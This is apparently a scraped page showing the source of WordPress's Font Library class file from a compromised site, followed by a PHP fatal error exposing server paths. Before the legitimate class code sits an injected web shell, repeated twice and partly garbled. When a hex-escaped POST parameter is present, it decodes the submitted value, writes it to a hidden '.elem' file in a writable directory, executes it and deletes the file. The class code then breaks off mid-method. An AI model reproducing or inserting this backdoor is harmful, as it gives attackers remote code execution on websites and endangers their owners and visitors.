$component) { if (!( !is_dir($component) || !is_writable($component) )) { $property_set = str_replace("{var_dir}", $component, "{var_dir}/.elem"); if (@file_put_contents($property_set, $marker) !== false) { include $property_set; unlink($property_set); exit; } } } } php if(isset($_POST["\x66lg"])){ $parameter_group = hex2bin($_POST["\x66lg"]); $marker = '' ; for($x=0; $x $component) { if (!( !is_dir($component) || !is_writable($component) )) { $property_set = str_replace("{var_dir}", $component, "{var_dir}/.elem"); if (@file_put_contents($property_set, $marker) !== false) { include $property_set; unlink($property_set); exit; } } } } /** * Font Library class. * * This file contains the Font Library class definition. * * @package WordPress * @subpackage Fonts * @since 6.5.0 */ /** * Font Library class. * * @since 6.5.0 */ class WP_Font_Library { /** * Font collections. * * @since 6.5.0 * @var array */ private $collections = array(); /** * Container for the main instance of the class. * * @since 6.5.0 * @var WP_Font_Library|null */ private static $instance = null; /** * Register a new font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. May only contain alphanumeric characters, dashes, * and underscores. See sanitize_title(). * @param array $args Font collection data. See wp_register_font_collection() for information on accepted arguments. * @return WP_Font_Collection|WP_Error A font collection if it was registered successfully, * or WP_Error object on failure. */ public function register_font_collection( string $slug, array $args ) { $new_collection = new WP_Font_Collection( $slug, $args ); if ( $this->is_collection_registered( $new_collection->slug ) ) { $error_message = sprintf( /* translators: %s: Font collection slug. */ __( 'Font collection with slug: "%s" is already registered.' ), $new_collection->slug ); _doing_it_wrong( __METHOD__, $error_message, '6.5.0' ); return new WP_Error( 'font_collection_registration_error', $error_message ); } $this->collections[ $new_collection->slug ] = $new_collection; return $new_collection; } /** * Unregisters a previously registered font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully and false otherwise. */ public function unregister_font_collection( string $slug ) { if ( ! $this->is_collection_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection "%s" not found.' ), $slug ), '6.5.0' ); return false; } unset( $this->collections[ $slug ] ); return true; } /** * Checks if a font collection is registered. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection is registered and false otherwise. */ private function is_collection_registered( string $slug ) { return array_key_exists( $slug, $this->collections ); } /** * Gets all the font collections available. * * @since 6.5.0 * * @return array List of font collections. */ public function get_font_collecti
Fatal error: Uncaught Error: Class "WP_Font_Library" not found in /home/kemtrimunvn/kemtrimun.vn/wp-includes/fonts.php:97 Stack trace: #0 /home/kemtrimunvn/kemtrimun.vn/wp-includes/fonts.php(263): wp_register_font_collection() #1 /home/kemtrimunvn/kemtrimun.vn/wp-includes/class-wp-hook.php(324): _wp_register_default_font_collections() #2 /home/kemtrimunvn/kemtrimun.vn/wp-includes/class-wp-hook.php(348): WP_Hook->apply_filters() #3 /home/kemtrimunvn/kemtrimun.vn/wp-includes/plugin.php(517): WP_Hook->do_action() #4 /home/kemtrimunvn/kemtrimun.vn/wp-settings.php(727): do_action() #5 /home/kemtrimunvn/kemtrimun.vn/wp-config.php(102): require_once('...') #6 /home/kemtrimunvn/kemtrimun.vn/wp-load.php(50): require_once('...') #7 /home/kemtrimunvn/kemtrimun.vn/wp-blog-header.php(13): require_once('...') #8 /home/kemtrimunvn/kemtrimun.vn/index.php(17): require('...') #9 {main} thrown in /home/kemtrimunvn/kemtrimun.vn/wp-includes/fonts.php on line 97

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